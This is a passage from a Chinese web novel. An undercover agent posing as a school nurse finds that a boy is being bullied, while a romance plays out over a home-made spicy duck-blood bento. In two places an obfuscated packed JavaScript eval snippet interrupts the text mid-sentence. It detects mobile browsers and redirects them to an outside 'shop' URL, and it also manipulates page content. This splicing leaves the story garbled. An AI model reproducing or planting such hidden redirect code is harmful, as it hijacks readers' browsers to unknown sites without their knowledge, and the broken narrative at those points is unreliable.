这幅场景,相越在梦中想象过许多次,没想到这么快就能在现实中上演。他盯住直酱的玉足,此刻没有平日上班时袜子的包裹,露出了真容。 他不可置信地拍拍脸颊,脸上传来的痛感还有刺骨的寒冷是如此的清晰,看来这真的不是梦。 不只是脸上如此,身体也是如此的冰冷。这全是因为他穿着单薄的睡衣,以及为了提醒自己早点起床而为暖气设了时间限制,才会只身在寒风中发抖。 但现在他很后悔。眼前的女生同样穿着单薄的睡衣,比自己还要早起床,长时间与寒风对抗,为自己做了丰盛的早餐。 所以才有现在的苍白脸色,还有一折就碎的纤细手脚,以及止不住发抖的身体。 至少这一刻,相越觉得自己不应该抱怨起床的时间太早,而是用正面的话语和随意的行动去表达自己的高兴、感谢和对她的亲近。 不过在这之前,相越先在沙发上拿起胡乱摆放着的暖气遥控器,打开并调到最高。再走到摆放好早餐、站在一旁不知所措的今长谷面前,补上应有的话语:“早上好,直酱。谢谢你的早餐。” 今长谷的脸瞬间染上红色,嘴角止不住地上扬:“不用谢。快吃吧。” 这个女生就是如此的容易满足,每次看到相越都是又气又开心,因为这既证明了她对相越是多么的重视,又代表了她对自己的忽视。 真是的,她果然是天使吧。 相越不忍直视,迈出脚步:“等一下,直酱。” 今长谷的视线随着相越的踪迹走,只见他走到床前拿出睡前准备好的工作服,把她带到沙发前坐下。把东西安置好后,再以外套套在她的上身,衬衫则盖住下身。 今长谷双手挣扎着,但耐不住相越屈身越发靠近自己,吐出的热息让她身体情不自禁地热了起来,身子有些发软。在她看来,相越看上去只是执拗地要让她盖上被子,没留意到两人过度接近的距离,他甚至能冷静地强行阻止了她蠢蠢欲动的双手,用低沉而又不可拒绝的语气,握住她冰冷的双手:“直酱,我们一起吃吧。” 脸上正热着,本因过近的距离而害羞着,也因这句话头脑冷静下来。今长谷很担心相越,才会特意起了个大早,第一次亲手为别人特地准备餐食。其他事情都可以妥协,但唯独这个她做不到。 但是…… 要是拒绝了,对方就会很不高兴。但自己只做了一份早餐,为了对方的健康和精力着想,这下只能狠心道:“不用了,我只准备了一份早餐。要是我也吃的话,分量会不够的。” 对方抿了抿嘴,转过头指向放在沙发一旁的小斜包:“如果我没猜错的话,这难道不是便当吗?” “你怎么知道的?”今长谷惊呼出声。她把包装包得如此严实,还特意用小斜袋装住,一是用作惊喜,二是方便携带。没想到对方这么容易就猜到了,自己真是被他看得一清二楚啊。脸上的热还没消散,又因羞耻而再度复发,并把袋子打开,是一个黄蓝色的便当盒。 “是我喜欢的颜色!我可以打开看看吗?” “现在这个便当是你的了。请便。” 话落,相越急不可待地打开便当盒,只是一打开,脸色立马变得又青又紫。 “这是?”相越咽了口口水,在今长谷看不到的角度调整面部表情,才转回去。 “麻辣鸭血拌饭、青菜、水果,还有章鱼香肠吧。”今长谷说完后,又补充了一句:“不过我是第一次做章鱼造型的香肠,可能有点丑。味道还是有保障的,因为我单纯只是把它煮熟了。” “不,我说的不是这个,是麻辣鸭血。”相越指着深红色盖在饭上的物体,满脸不解。 自从直酱和相越在饭馆互诉情愫后,两人几乎每天都会到那儿吃晚餐,每次都是同一款菜式,每次都吃得他怀疑人生。现在的他对于其他食材已经有了免疫力,开始接受,乃至品味到其中的美味之处。 唯独只有一个食材,那就是麻辣鸭血。他一辈子都不能接受那过于刺激的味道了吧。 一进口,滑口爽脆,非常恶心。这就算了,还又腥又骚。鱼腥味他还能接受,要接受这玩意也太为难他了吧。 再加上身为土生土长的东方小岛人,他的口味偏甘口和咸口,较少吃辣。麻辣实在是过于有挑战性,所以一顿吃完,相越通常不只是口,连带心灵上也彻底麻了。他一脸期待地看向眼前的女生。 面对相越隐隐恳求的眼神,今长谷思考了一下,回答道:“因为我想着和君也喜欢鸭血,所以加上去了。要加一点海苔碎吗?啊,不过记得不要加大蒜,吃了不只口臭,还有可能会食物中毒的,请注意这点。” 大失败,直酱完全没有发现啊。也是,她一向都比较迟钝,所以说话要比较直接。一开始就应该和她说的,不然也不会因为接二连三的聚餐加深了误会,误会也不会持续那么久。 再加上,相越无法拒绝直酱的好意。眼前的人为了他特意起了大早,用心做了两顿用心的菜肴。只要想到内心就充满了欢喜,足以盖过这些不满。只是为了更加幸福,才想要澄清这个误会。 就今晚吧?和她说自己其实讨厌鸭血。 相越下定了决心,点头:“请加一点,好的。谢谢直酱。” “不用谢。”今长谷回到家中取过海苔碎,放到便当上。 借着想要尝试味道的借口,给直酱硬塞了几口饭,相越吃过早饭便心满意足地离开了。同时今长谷目送相越离开便回到家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496113|202510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中。 有了这个小插曲,相越原本昏暗的情绪就如现在接近六时的天色一般,渐渐亮起。他哼着歌,处理了手续后,就走进他这段时间待的地方——保健室。 把所有的物品处置好,再仔细检查房内的摆设,他就坐在椅子上无所事事。 “好无聊~好闲~” 在这个空无一人的空间,就算再怎样埋怨,也没有人谩骂和吐槽。相越忽的感到有一丝空虚。 为了打发时间,他借着去洗手间,顺带路过渡边所在的课室,了解一下对方的校园生活。 现在正是上课时间,走廊没有任何人,非常安静,在此矗立着的人影才是异端,相越毫无疑问地认识到这一点。他想啧一声,但发出任何声响也有可能引起别人的注意,潜入任务还是低调为上。 很快就到了渡边的教室,也就是四年A班。相越借着高大的身材,轻松地就能透过位于课室上方的窗户窥见里面。 一瞧,相越就瞪大了眼睛。渡边的书桌上涂满了涂鸦,有数种字迹,没有一种与本人书上的符合。相越想要把所有人的字迹对比一次,但盯得时间太长,便会引起授课教师的注意。现在看来也不知道老师有没有参与其中,他还是得谨慎一点。 因此,相越假装只是在熟悉校内环境,毫不留情地转过头,又看向别方,不断四处张望。 不过就这一下功夫,相越就明白渡边的校园生活并不顺遂。恐怕一直都是这样,而不是从公司被收购了之后开始的。因为事情已经发酵到在桌上画涂鸦这种人人都看得出来的地步,老师绝不可能没有留意,更多的是没有阻止加害者,或者是阻止不成。 这可能是一时兴趣,但经过一朝一夕的时间,慢慢积累,程度只会越演越烈。 只是这件事和他父母的死亡有没有关系呢?校园欺凌说到底,终究只是小孩子之间的社会冲突,但考虑到渡边的家庭背景,那就涉及很多复杂的事物了。说不定这个学校有对高桥家不满的孩子家长,灌输了相关的思想,在外则针对高桥夫妇,在校则对渡边下手。 老实说,这些只是猜测,一切还得搜集更多情报。下一步该接近渡边,收集情报了。幸好的是,渡边在经过了那起事件后,对相越应该还算信任。 不过他也没想到,自己会站在帮助学生,也就是老师这边的立场。 唉,至少要把这件事处理妥当。不然他总感觉会对过去的自己有罪恶感。 工作增加了,相越暗啧一声就回去了。 就这样,相越静静等待着休息、午饭、午睡这几个容易接近的时间段。 只是当相越等到了众望所归的午休时段,却在茫茫人海寻不到渡边的身影。他试着到校园的角落寻找对方,终于在铃声快要响起时,他找到了渡边。 此时的渡边正被一群小学生围住,一个一个上去拳打脚踢,以看他的反应为乐。要是渡边反抗,旁边的人便会上前帮忙,把他困住,再施以更加严酷的痛苦。就这样循环,乐此不疲。 相越心里暗道“果然”,赶紧冲过去,大吼:“你们几个,住手!” 他差点就一脚甩过去了,但基于教师的身份,还是硬生生忍住了。没能发泄出去的怒气,都化作了杀气扑向这群小孩。 这群小孩明显对打架已经驾轻就熟了,但最多也只是打架,不是真正的厮杀。这样的他们哪见过杀气,被这样一吓,就算看到相越那年轻的脸庞也不敢有意见,屁滚尿流地齐齐滚了。 渡边挨坐在墙边,气息微弱:“你怎么会在这里?” 不顾渡边的问题,相越一把抱起渡边,把他放在肩上:“请先不要说话,我把你带到保健室去。我待会儿再和你说。” 相越很讨厌这种要求对方等待的行为,但渡边已然神志不清,现在的他无法处理太多消息,所以他只能这样说,并默默加快了脚步。 19. 单独任务(三) 把渡边安置在床上后,相越就开始仔细调查他身上的伤口。伤口颜色深浅不一,且大多在不显眼的位置,比如说腹部、大腿。这更能说明那群人是打架的老手了,专往这些地方打,是为了不被他人发现。 不过以渡边的性子,他不可能就这样忍着啊。于是相越直接问:“你有告诉其他人吗?” “没用。”渡边低着头,神色不明。 短短两个字,相越就有了许多的猜测,只待验证。他抿起嘴唇,拿起冷敷用的冰块并用一层薄巾盖住那些地方,叮嘱道:“这些地方记得每天都要用冰块冷敷二十分钟,这样淤血自然就会消散。” 渡边被痛和冷得龇牙咧嘴,抖着声音敷衍道:“知道了。” 面对渡边的敷衍,相越只能叹了一口气,心道这小子根本就没听进去。该不会他还在想伤口正是荣耀的标志,这种中二少年才会有的想法吧。 不过相越也没有资格嘲笑对方,因为在那一段孤独的岁月里,他紧抱着唯一的念想。有时自暴自弃了,也会用这种话语安慰自己。 而且那时的自己比渡边好多了,起码相越面对那样一大帮混混,他能把他们揍得满地找牙。 虽然好像有不同的团伙,但他可不管,只要挡住他,就都揍了。 这样一想,其实他挺疯的? 就是这段潜入的时间里,他得好好教渡边几招了。 相越心中叹道,明明他也还是今长谷和局长的学生,没资格教导任何人。 灰暗的心思一起,相越马上摇了摇头。真是的,自己怎么可以和今长谷,还有局长那些人相提并论呢?他们简直是怪物。新宫的话,好一点点。但她能把那个大锤子挥得来去自如。要是被挥到,就可以原地和所有人说再见了吧。 整个局里就只有自己、副局,还有地井比较正常了。在这个满是挂壁的局里,他只能尽力而为了,就像竞技大会那样,总会有办法的。 相越如此想着,完成了所有的包扎工作。 只是在这些细碎的事情之前,他得完成主要的任务,也就是探查高桥家,还有渡边的事情。 相越深吸一口气,准备接下来的台词。 首先,不能辜负渡边对自己的信任,得交代自己的情况,相越实话实说:“其实是因为新宫大小姐有点担心你们家的情况,所以派我来探查情况。” “原来如此。”渡边点点头。 眼见渡边对此接受良好,就开始下一步,发挥自己的厚脸皮补充了一句:“所以今晚可以让我到你们家吃饭吗?” 渡边哪有见过如此厚颜无耻之人,他爆红了脸:“蛤,你在说什么啊?” “所以今晚可以让我到你们家吃饭吗?”比他想象中更能接受自己,相越加深了笑意,重复再问一次。 “太突然了吧,也不是不行。我可以和老爸老妈说一声吗?”渡边有些不好意思。 “当然可以。”相越递过保健室的电话,心道果然这个小孩是个外面满是刺、里面是棉花糖的家伙啊。和直酱一模一样。这样一想就忽然很想笑。再看到渡边老实接过电话,乖巧地用敬语问电话那头的人可不可以带自己去吃饭时,就忍不住了,只能捏着脸强忍着笑意。 当渡边把电话递给自己时,他深吸一口气,把笑意压在肚子里,聆听听筒里的内容。 听筒里是一把女声:“你好,我是渡边昭子。我刚从犬子那里听说您想要光临敝舍,我可以请问这是为何吗?” 眼见对方如此直接,相越也直截了当地述说事实:“实际上,我是契约者管理科负责本次案件的人员,名为相越和希。想问一下您是否在面临生命危险呢?” “案件?犬子被卷进什么事了吗?”渡边昭子没有回答自己的问题,而是焦急地问关于渡边的消息。 “关于这件事我希望能当面和您述说。”相越心道渡边妈妈好像挺在乎自己儿子的,但为了渡边着想,他还是决定在几人聚会时再谈渡边被霸凌的事。他给渡边打了个眼色,摇了摇头,示意渡边不用惊慌。 渡边一脸疑惑,但还是姑且点了点头。 “我明白了。那就安排在犬子放学后可以吗?到时候您和犬子一同乘坐私家车来就好。可以帮我把电话交给犬子吗?” “我明白了。”相越便把电话交给渡边。 两人聊了几句,就挂了。 一挂断电话,渡边就收起所有的乖巧,大声质问:“为什么要和老妈说我的事?” “抱歉,我未经你同意就和渡边夫人说了你的事情。不过现在还有挽救的余地,不是吗?”相越跪坐在地上,与渡边平视。 “余地?”渡边不解。 “就是和我一起商量会和他们讲述的内容,这样到时候我们的台词就不会矛盾了。”相越拿起一张纸递给渡边,“请签名。” 渡边点点头,老实写上自己的名字后,才反应过来:“为什么要签名呀?” “学校规定学生受伤后需作记录,并打电话通知家长。所以不是我想,而是上面的问题啊。抱歉,达也君。”相越摸摸头,憨笑着道歉。 “哦。”渡边达也的注意力被相越的演技带偏,没留意到相越不知不觉拉近了两人的距离,以名字称呼。 他傲娇地转过头:“那该怎么和老妈报告?” “达也君,你想和渡边夫人说你在学校被人欺负的事情吗?”说到正题,相越收起所有演技,认真注视着眼前的渡边,并没有因为他是小孩而蔑视对方的意见,而是选择尊重他的意愿。 当有人在注视着自己时,总会忍不住想与对方对视,渡边也是如此。在学校受尽排挤的他比起同辈,更能感受到眼睛里的情绪,所以他明白相越没有任何的恶意。只是他早就经历过无数次的失败,早已对其他人和自己失去了信心,不敢再去尝试,却也不舍得拒绝来自相越的善意。 最后他只能犹豫不决:“我也不知道。” 眼前的人只是点头:“我明白了。那可以交给我来说吗?有什么不可以说的吗?” 一直以来,渡边担心的只有自己的事情不被重要的人以同样的态度对待而已。 他明白,自己只是一个小孩,小孩在乎的事情,在大人看来也许是微不足道到不足以放在心上,随便便能抛到脑后。 所以每次才会被随口打发过去,并以大人看来更为重要的事情揭过这个话题。 但这次不一样。和自己沟通的对象是一个大人,于契约者管理科这个大部门工作,具有信服力。如此一来,说不定可以让父母把自己的事听进耳中。 有了这个可能性,渡边的眼中浮现起一丝亮光:“没有,可以拜托你吗?” “当然,我会尽力的。有需要的时候,达也君可以协助我吗?”与自己平视的成年男子,这刻比以往任何一个时候看上去都要可靠。相越毫不犹豫应下渡边的无理要求,把渡边本应做的事全都揽下。 “好。谢谢……不,一直以来都谢谢你。相越……桑,不,老师?”渡边这一刻才打开心门,他露出了面对母亲时的乖巧面容,补上了一直以来没说的话。 “哈哈哈,不用谢。不过话说回来,我现在姑且是一个保健 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渡边照做,他闭上眼睛,尝试陷入沉睡之中。但身上的冰块沉甸甸的,又冷得他发抖,伤口又痛。无论如何都睡不着,无聊之下只能睁开眼,无神地看着天花板和观察旁边的人。 “喂,你在做什么?” “吃饭。”相越拿着便当,说完就往口中塞可疑的深红色方块状食物,快速咀嚼吞下,拿起水瓶大口大口灌水。整个过程不拖泥带水,非常流畅。 “刚才那是什么鬼?”渡边没见过如此可疑的食物。 “麻辣鸭血,很好吃的,你要尝尝吗?”相越脸色红润,满脸笑容。 渡边太过天真,相信了:“好,我要试。” 欠揍的是,相越下一句吊起了他的胃口:“才不给你,这是直酱做给我的。” 这一句话无疑勾起了渡边的怒火和他的好奇心,让他越发想要知道什么是麻辣鸭血。 再加上,渡边哪有人如此嘲讽过,他反问:“直酱是谁?你女朋友吗?” “咕……”这句话也戳中了相越的弱点,他无言以对。 他也想,但目前对方没有这种意愿,还在逃跑。 他得更加主动去追才行。 “真是小丑,说不定对方根本没有考虑把你当做那种对象。”见他吃瘪的模样,渡边便明白还没成,于是乘胜追击。 “咕……”再次戳中相越的弱点,因为他也怀疑过这点。说不定只是把他当作儿时玩伴、家人、保护对象,不是男女关系。 他弱弱地反问:“你怎么知道?” “你看和我同班的那对互相暗恋的,每天都在想着对方,粘着对方。你上班这么久了,那个直酱连信息都没发给你,肯定没有在想着你。还有我爸妈也……反正你这顶多是单相思。”渡边引用班上的例子为自己增加说服力。 相越看了一眼手机,画面上空荡荡的,只有手机屏幕上显示的时间,和用作手机壁纸的直酱偷拍照片,什么都没有。一切就如渡边所说,他瞬间泄了气。 难道就如渡边所说,直酱只觉得自己是要保护的对象,而不是在意的男人? 一时间,相越失去了所有的情绪波动,陷入沉思。二十分钟的时间到后,麻木地拆卸冰块。渡边侧着身子睡着后,相越为其盖上被子,眼神失神地看向天花板,麻木地把便当里的食物塞进嘴里。 直到午饭的钟声响起,手机震动数下,相越反应性地拿起手机,看着亮起的手机屏幕,才恢复了高光。 20. 单独任务(四) “直酱:和君,午安。学校的事情还顺利吗?想问一下,今天的料理味道可以吗?如果有任何不足,可以发信息给我,或者直接到我家和我说,随时欢迎你的光临。 希望这条信息不会打扰到你的工作,请你加油,平安无事归来,我会在局内静候你的归来。当然,除了我以外,局内的其他人也在为你加油打气,等待你的早日回归。???” 一大段的文字信息,大概一百多个字,每一个字、每一笔一划都代表了直酱对自己的重视。相越感动得泪眼汪汪。 要知道现代人嫌麻烦,有的回信息只会发表情包表达自己的情绪,期望对方明白自己。有时发表情包没法表达就发极简短的文字信息。再懒一点的就语音转文字。再甚者直接数个电话打过去,吵得对方不得不接。 很少还有人能打一大段正常的文字传达信息,里面充满了对方认真的表达。在相越看来,直酱里面满满当当的都是她的爱意。再配合上微笑的表情?,隔空对他笑了,这肯定是喜欢他,也就是情书了吧。 相越长按一键收藏,保管在直酱专用的收藏夹里。 做完才看到,对面还在显示输入中。相越紧盯着屏幕不放,期待下一条信息。 然而过了几分钟,发来的却是他刚刚不屑的表情包,还是老土的那种。 “直酱:一朵平安花??,平平安安(平安果?).jpg” 画面上的大红花一闪一闪,散发强烈的光芒,把相越的眼睛照得一眨一眨的,他惊呆了,随后忍不住咧嘴笑了出来,反手发了几个同款的老土表情包。 “和君:给你我的爱.jpg(背景炫彩,大字同样炫彩,旁边还附上玫瑰花)” “谢谢.jpg(两只玫瑰花,花前写着炫彩色的谢谢,右下角是微笑表情?)” “你真好.jpg(上方有一个由心形拼凑而成的心,下面是微笑表情,你真好三字同样是炫彩色的)” 没有朋友的他,表情包存量同样匮乏,发完表情包后就也打了一大段情书过去。 “谢谢直酱的便当,很好吃,让我还没到午饭时间就忍不住吃了起来,最后一不小心就吃完了。明天还可以做给我吃吗?” 相越打完后,想了又想,还是把最后那句改了。 “谢谢直酱的便当,很好吃,让我还没到午饭时间就忍不住吃了起来,最后一不小心就吃完了。正好现在是午饭时间,要一起出去吃饭吗?带上渡边。” 其实还想再发些更肉麻的话,但还没到时机,就先这样吧。他按下发送键,叮的一声响起,表示发送成功。 对方又在显示输入中,相越就盯着那三个字,同时胡思乱想。 相越觉得自己最近和直酱的距离越发接近,虽说还没取得完全的信任,但趁这次任务,他一定要向直酱证明自己还是有可取之处的。 相越看向主要目标之一的渡边,这一系列的动静吵醒了正在深睡的渡边,他转头看向声音的源头,与相越对视。 途中视线也经过了相越的手机。受过良好教育的他,并没有去偷看相越的手机,只是手机上闪烁着炫彩色光芒的表情包太过耀眼,一瞥就能看到。 “怎么了?……哈哈哈,好老土的表情包。现在都二四五零年了,谁还用这种表情包啊?”渡边由刚睡醒的睡眼惺忪到清醒,再到狂笑不止。 “你懂什么,这是我和直酱之间的情趣。”相越没有望向渡边,专注手上的事情。不服气地又上网收集更多的中老年表情包,发给直酱,乐此不疲。 “叮~叮~叮~”直酱的长信息发完后,也反手发了几个老年表情包。相越回复后也在搜索功能中再添加数十个表情包,无视一旁一脸无语的渡边,与直酱斗起图来。 “好恶心,这就是大人的恋爱吗?”渡边被无视,翻了个白眼,作出一个呕吐的手势。 “和大人什么的没关系。这只是我和直酱之间独有的情趣。你想想,你父母是这样子相处的吗?”相越抬起头,认真地否认这件事,顺带打听高桥夫妇的事情。 “并不是。不过……”渡边似乎想到一些不好的事情,心情低落起来。 “不过?” “待会儿,你就知道了。比起这个,你待会儿吃什么啊?便当都吃完了。”渡边脸色尴尬,不想提起他们,突兀地转过话题,看向放在一旁、还没收拾、空无一物的便当盒。 “好吧。”看样子是没办法从渡边嘴里挖出任何信息了,现在就先和他打好关系吧。于是相越又加上一句,“现在要和我,还有直酱一起出去吃饭吗?” “是可以。但我可是学生啊,不能出去吃饭的吧。还有那个直酱有空吗?”渡边面露犹豫之色。 “氪~氪~”相越发出古怪的笑声,把手机摆在渡边眼前,映在眼球上的正是相越邀请直酱的信息,和来自直酱的老年表情包。 “直酱:好的?(荧光黄色手指,炫彩色字体)” “渡边桑,还有和君有没有什么想吃的?我先去拿位置,在那里汇合吧。” “嗯……”一时之间,渡边也想不到要吃什么,他很少在外面吃饭。 渡边周围张望,看向相越的便当盒时,忽然之间他灵机一动:“不如就麻辣鸭血吧。” “真的吗?很辣的哦。”相越强按下发笑的冲动,以年长者的身份提示,并再三确认。 对麻辣鸭血的好奇心本来就令渡边蠢蠢欲动,相越的提示再一步引发了渡边的叛逆心,犹豫不决瞬间消失,他斩钉截铁地说:“去就去,我很能吃辣的!” 此乃谎言。渡边吃过的辣味最多也就是家庭用甘口咖喱的程度。最爱吃的就是炸鸡、汉堡,还有薯条,完全的儿童口味。 这句话只是为了在相越面前逞强,是叛逆心引发的悲剧。 几人到了婆婆面馆,和直酱会合。所有人都在劝说渡边,但他仍坚持要吃麻辣鸭血。 无奈之下,婆婆只能接受这个订单,只是她于心不忍,把渡边的那份面条里的麻辣鸭血的大部分使用番茄酱假装辣酱,只有小部分使用真正的辣酱呈上来。 即便如此,仅仅一口,渡边就红透了脸,开始咳嗽,眼角生理性地流出眼泪。 他转过头看向面色不改快速吃面的今长谷。还有脸和自己一样完全红透、吃面吃得汗流浃背,但能跟上身旁人节奏的相越。 留意到渡边的视线,相越举起大拇指,示意他加油。 渡边不满地抿了嘴,开始后悔自己的冲动,看着面前一大片的红色物体无从下手。 这时一双手在他面前闪过,把味噌汤递到他面前,手的主人如此问道:“渡边桑,如果可以的话,可以分点鸭血给我吗?如果你还想吃的话,可以把鸭血泡一下味噌汤再食用。请用。” “谢……谢……”渡边没有把鸭血分给今长谷,而是呆滞地接过味噌汤,把鸭血泡在汤里,再大口放进嘴里,果然好多了。虽然舌头、嘴里酥麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496115|202510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疼痛的感觉没有消失,但心里却感觉好多了。 他不禁在心里感叹道:相越你这小子真是找了一个很好的女朋友啊。也很欣慰如此好的两人能在一起,发麻的嘴亮起了姨母笑。同时看向相越,与对方充满嫉妒的视线相撞,愣住了。 此时相越停下麻辣鸭血的进食,默默地把整碗味噌汤一口灌完。 这一刹那,相越有一种想要把自己其实讨厌鸭血、也讨厌麻辣的事实坦白出来,获取直酱的怜惜和在意。只是在这里坦白出来的话,气氛就会破坏掉,好不容易与渡边构建好的关系也可能就会破坏掉。因为所谓人与人之间的关系什么的,很脆弱,很容易就会破坏掉。 所以相越只能硬生生地咽下占有欲,而随之而来的化学反应下,一瞬产生了对直酱的不满。 他其实明白的,自己所怀抱的情感,对方不一定拥有,也没有这个义务,更不能强制性地要求对方。 他只是单纯地不满,想要在对方的心中排第一位。这种欲望在幼时初见刻下印象,后面相处逐渐发酵,被迫离开时强硬、深刻地记住,每天一点点的消息让它逐步加重,已经成了他人生中唯一的执念。 现在的话,还来得及放弃。可以回到大城市,以自己优秀的学历找一份起点高或者稳定的工作。 不,这不可能。 他只剩下直酱了。 而且如果没有了她,这个世界还有什么好的? 这种灰暗的念头一旦开始,就很难停止,除非靠自己的意志抗住,或者外力的干涉。平时相越都是选择自己扛,但现在旁边还有两个人坐在他身边,比他早一步发觉并阻止。 “和君,还要再来一碗味噌汤吗?”今长谷站起来,想要为几人加汤。 “你没事吧?辣到晕厥了?”渡边则是察觉到相越的古怪,平时他都是一副憨憨阳光的样子,哪有如此阴郁过? 虽然这幅阴暗的样子给阴暗的两人亲近感,但并不是他们想看到的,所以都以各自的方式干涉相越。 相越这才反应过来,接受了两人的好意,没说什么,并再次坚定了今晚和今长谷坦白事实的决意,不管最后结果是什么,他也要知道。 对啊,他回来的时候,也没猜到对方一开始会拒绝自己。同样也暗自猜测过,但这不是一切顺利吗? 要相信直酱,也要相信自己。 相越一秒回复阳光的状态,笑着回答:“好的,谢谢,直酱。” “不用谢,想喝汤的话,随时都请和我说。”今长谷点点头,拿走三个碗离开座位。 “我没事,谢谢达也君的关心。达也君果然很温柔呢。”与今长谷对话完,就轮到渡边。相越再次以肉麻话语调侃渡边。 “你这家伙又在说什么?还有你什么时候换了叫法?”渡边本在吃面,突然就被恶心得跳起来,无语住了。 “不行吗?”相越轻笑着。 “也不是不行。”渡边傲娇地否认。 “那不就行了。”相越笑意加深,他接过今长谷的汤,又一口灌完,继续干饭。干到人快麻了,就让今长谷再次加汤,如此循环往复。 明明和家里一样,是只有一人添茶递水的画面,但却异常的和谐,氛围截然不同。 联想到家里的两人,渡边在无人注意的角落里,不禁轻声感叹道:“这不是一模一样吗?和家里的两个老头一样,都太过在意对方,但又太胆小,不敢接近对方。真的……好恶心。” 21. 单独任务(五) 为了迁就学校的时间表,几人快速吃过午饭后,今长谷把两人送回学校门口,就离开了。 相越独自在保健室发呆,偶尔借着去洗手间和休息的时间观察渡边的样子。 也许是因为相越的威慑起效了。这段时间,除了偶尔会有几个小混混挑衅他以外,大多数学生都只是无视他,他被整个课室孤立了。 如果只是暴力欺凌,那只需要锻炼自己变得更强,让欺凌者不再敢欺负自己,对方也就不能再恃强凌弱了。 但冷暴力更为复杂,无法使用暴力手段。只能让自己融入群体,攻击新的对象。一来是表达自己已经开始顺从这个团体,对这个团体的上级表达讨好,让自己有进入团体的机会;二来是表示自己的地位比起对方更高。 改变不了自己,就只能改变环境了,也就是转校或者转班。但这所小学是整个新宫市最好的学校了,恐怕家长不会轻易同意。转班的话,也不知道渡边在其他班级的风评如何。 冷暴力什么的,对很多人来说,因为没有对当事人造成实质性的伤害,所以很多人都会认为这没什么大不了的。更有人会受害者有罪论,认为是当事人的社交能力有所欠缺,或是有着其他的缺陷才会被人针对,是理所应当的,不欺负你还能欺负谁。 但是相比起这一部分有着明显缺陷、可能有着需要改善的地方的人,更多的是,受害人其实只是因为一些鸡毛蒜皮的小事便被人针对了,比如说发音不标准、身材胖之类的。这些和社交能力根本无关,只是在这个名为学校的小社会里比较少见,便被人排挤、歧视了。 这些小缺陷人人都有,人与人之间的交际总会有不满意的时候。如果包容不了对方的缺点,默默避开、不做朋友不就好了吗?非要煽动大部分人一起排斥、无视对方,甚至恶意人身攻击吗? 所以从情理来说,根本说不通。 这只是一些比较聪明的强者对弱小的凌辱,不会留下痕迹,却能让对方窘迫,甚至臣服。 相越皱了皱眉,他不知道高桥夫妇对这种事情的态度,但以他之前对高桥的猜测,他应该是一个自尊心较高、以事业为重的男人,所以也许会对这种事情不甚了解。 渡边昭子的话,从语气听上来,是比较精明、擅长社交的那种。但她很在乎自己的儿子,只是不知道是哪种在乎。所以还得看现场情况。 希望事情顺利吧。这种事情很难搞。 那时候的他因为经常转学,所以每次都要厚着脸皮融入,直到遇到直酱才对这些不在意。 就算在乡下那段时间也是,有人搭话就随随便便打发过去,只醉心于学习和锻炼自己,精进自己,让自己有前往城市的机会,找回直酱,把她紧抓在手。 不过他这种只能算特殊例子,渡边可不会这样。 得让他健康成长。 做好心理准备,相越放学时间到教室门口接渡边,就一起搭乘高桥家的车离开学校。 停下车,司机开了门,相越从后座、渡边从旁边出来。高桥家宅已经恢复原本的整洁美丽以及宏伟,如此气派的建筑按理来说里面会有仆人服侍家里的人。 然而这次迎接众人的不再是女仆,而是渡边昭子——这家的女主人。 渡边昭子接过几人后,打了个招呼,便让他们在客厅等待,就离开了。 一路上也没有其他仆人的踪影。 相越和渡边(不对,是达也)坐在大方桌上,侧看着对方,不知道渡边昭子接下来的行动,一时无言。 沉默半响,相越才开口:“那个,高桥桑呢?” “老爸在房间呆着吧。待会儿吃饭就会出来了。”听到父亲的名字,达也激动起来,但深吸一口气,又冷静下来。 “原来如此。他现在没去工作吗?” “不知道,他们没和我说。” “好吧。” 这样一来一回后,两人又陷入沉默。相越只能观察高桥家这面积巨大、但只有简单的电视和壁柜、没有任何摆设、显得尤为空旷的客厅。而达也则是拿出作业,书写起来。 余光留意到达也的动作,相越也没再留意高桥家身为一个有钱人家却没有摆设、显得空旷这一奇怪之处,转为偷看达也的作业。 还没来得及仔细观察,便被一阵强劲的脚步声打断。相越抬起头看向来人,正是刚才提起的高桥匠平。他迈着稳健的脚步,走到两人面前“噗”的一声坐下。 见此,相越想起之前他脚步不便时那些搞笑的事情,忍不住在打招呼中加了句:“好久不见,高桥桑,本次非常感谢你们的招待。不知你的身体是否安康?如果有需要的话,我可以让认识的人为你治疗。” 每一个字都会使高桥的脸色暗下来,他大吼,发出的声波令相越和达也两人一震。 “没想到你这小子竟然还敢出现在我面前,甚至到我家作客?你对我出言不逊就算了,你的好同事还把我的公司收购了。至于你说的治疗,如你所见我健康得很。不用了,快滚!” 以上的谩骂一气呵成,完全没有停顿,让相越想起了局里的数人,熟悉的谩骂声让他心情舒畅,轻松地笑了起来。但这种心情并没有持续多久,只有短短一瞬,他转过头看到坐在一旁的达也捏紧了手中的笔,紧咬着嘴唇,似是在忍耐着什么。 是不是有什么不妙? 有太多不明白的地方了。但比起坐以待毙,相越还是更喜欢先行动起来。他站起来,张开手挡在两人之间:“我不会滚的,这次也是有要务在身,关于你的儿子。” “他能有什么事?我砸锅卖铁也要供他上学。我们马上就要搬家了,别再来了。”高桥吼得更凶了。 相越完全不为所动,只是立马明白过来:刚才发现的奇怪的空旷感,原来就是因为这样啊。 同时,情况变得更加复杂了。因为上次岩田浩引发的煤气爆炸案所导致的一系列后果,高桥对契约者管理科的所有人印象不佳,更何况自己还曾内涵过对方。 想起高桥在皐月会社的名言名句:“要盖高楼,需要一砖一瓦,一点一滴垒砌。” 